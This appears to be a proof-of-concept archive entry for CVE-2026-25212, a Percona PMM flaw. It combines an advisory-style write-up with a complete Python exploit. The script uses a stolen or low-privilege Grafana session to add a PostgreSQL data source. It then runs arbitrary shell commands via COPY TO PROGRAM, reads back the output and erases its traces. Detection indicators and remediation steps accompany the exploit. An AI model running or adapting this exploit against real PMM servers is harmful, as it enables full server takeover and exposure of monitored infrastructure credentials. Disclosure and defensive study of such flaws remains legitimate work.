PoC Archive PoC Archive
Critical CVE-2026-25212 patched

Percona PMM Authenticated RCE via PostgreSQL COPY TO PROGRAM (CVE-2026-25212)

by 5170 (5170Temp) · 2026-07-05

CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-25212
Category
web
Affected product
Percona Monitoring and Management (PMM)
Affected versions
PMM < 3.7
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcher5170 (5170Temp)
CVE / AdvisoryCVE-2026-25212
Categoryweb
SeverityCritical
CVSS Score9.9
StatusPoC
Tagsrce, percona-pmm, postgresql, copy-to-program, grafana, privilege-escalation, command-execution
RelatedN/A

Affected Target

FieldValue
Software / SystemPercona Monitoring and Management (PMM)
Versions AffectedPMM < 3.7
Language / PlatformPython 3 (PoC), targets PMM’s bundled Grafana web interface
Authentication RequiredYes (low-privilege pmm-admin account)
Network Access RequiredYes

Summary

CVE-2026-25212 arises because PMM’s internal PostgreSQL user retains SUPERUSER privileges instead of being restricted. An attacker authenticated with only pmm-admin rights can use Grafana’s “Add data source” feature to register an arbitrary PostgreSQL data source pointed back at PMM’s own database, then submit a query via Grafana’s datasource-query API. Because the internal user is a superuser, the attacker can execute COPY (...) TO PROGRAM '<command>', which runs arbitrary OS commands on the PMM server and writes the output to a temp file that is then read back via a second COPY ... FROM query. This escalates a low-privileged authenticated web session directly to full server-side command execution.


Vulnerability Details

Root Cause

PMM’s internal PostgreSQL service account is over-privileged (retains SUPERUSER), which allows any authenticated user who can register a data source to abuse PostgreSQL’s COPY TO/FROM PROGRAM feature for OS command execution.

Attack Vector

  1. Authenticate to PMM/Grafana with a low-privilege pmm-admin account and obtain the grafana_session cookie.
  2. Create a new PostgreSQL data source via POST /graph/api/datasources pointing at localhost:5432.
  3. Use POST /graph/api/ds/query to run COPY (SELECT 1) TO PROGRAM '<cmd> > /tmp/output 2>&1', executing an arbitrary shell command.
  4. Run a second query to COPY the output file back into a temp table and SELECT it, exfiltrating command results through the query response.
  5. Delete the temporary data source and remove the temp file to clean up traces.

Impact

Full remote code execution on the PMM server as the database service user, exposing all monitored infrastructure credentials and configuration accessible from that host.


Environment / Lab Setup

Target:   Percona PMM instance < 3.7 with Grafana web UI reachable
Attacker: Python 3, `requests` library, valid grafana_session cookie

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"

The script logs in with the supplied session cookie, registers a throwaway PostgreSQL data source, uses COPY ... TO PROGRAM to run the requested command and capture its output to a temp file, reads that output back through a second query, prints it, and then deletes the data source and temp file to clean up.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected postgres type data sources named like poc_<timestamp> appearing and disappearing quickly
  • Files matching /tmp/pwned_* or similar transient temp files on the PMM host
  • PostgreSQL query logs containing TO PROGRAM or FROM PROGRAM from the internal monitoring account

Remediation

ActionDetail
Primary fixUpgrade to PMM 3.7 or later, which restricts the internal PostgreSQL user’s privileges
Interim mitigationRestrict which users can create Grafana data sources; monitor/alert on COPY ... TO PROGRAM usage by the PMM internal database account

References


Notes

Mirrored from https://github.com/5170Temp/CVE-2026-25212 on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
"""
CVE-2026-25212 - made by 5170 
Usage: python exploit.py -t http://localhost --cookie "abc" -c "id"
"""

import requests, sys, time, random, string, argparse, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("--cookie", required=True)
parser.add_argument("-c", "--command", default="id")
args = parser.parse_args()

target = args.target.rstrip('/')
session = requests.Session()
session.verify = False

session.cookies.set("grafana_session", args.cookie)

# Create datasource
ds_name = f"poc_{int(time.time())}"
resp = session.post(f"{target}/graph/api/datasources", json={
    "name": ds_name, "type": "postgres", "access": "proxy",
    "url": "localhost:5432", "database": "postgres",
    "user": "postgres", "password": "", "jsonData": {"sslmode": "disable"}
})

if resp.status_code != 200:
    sys.exit("[-] Failed to create datasource")

uid = resp.json()['datasource']['uid']
print(f"[+] UID: {uid}")

def query(sql):
    return session.post(f"{target}/graph/api/ds/query", json={
        "from": "5m", "to": "now",
        "queries": [{
            "refId": "A", "intervalMs": 1, "maxDataPoints": 1,
            "datasource": {"uid": uid, "type": "postgres"},
            "rawSql": sql, "format": "table"
        }]
    })

# Run command and capture output
random_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
tmp = f"/tmp/pwned_{random_name}"
query(f"COPY (SELECT 1) TO PROGRAM '{args.command} > {tmp} 2>&1';")
resp = query(f"CREATE TEMP TABLE t(line text); COPY t FROM '{tmp}'; SELECT * FROM t;")

# Print output
try:
    vals = resp.json()['results']['A']['frames'][0]['data']['values'][0]
    print('\n'.join(vals) if vals else "[!] No output")
except:
    print("[!] No output or parse error")

# Cleanup
session.delete(f"{target}/graph/api/datasources/uid/{uid}")
query(f"COPY (SELECT 1) TO PROGRAM 'rm -f {tmp}';")
print("[+] Done")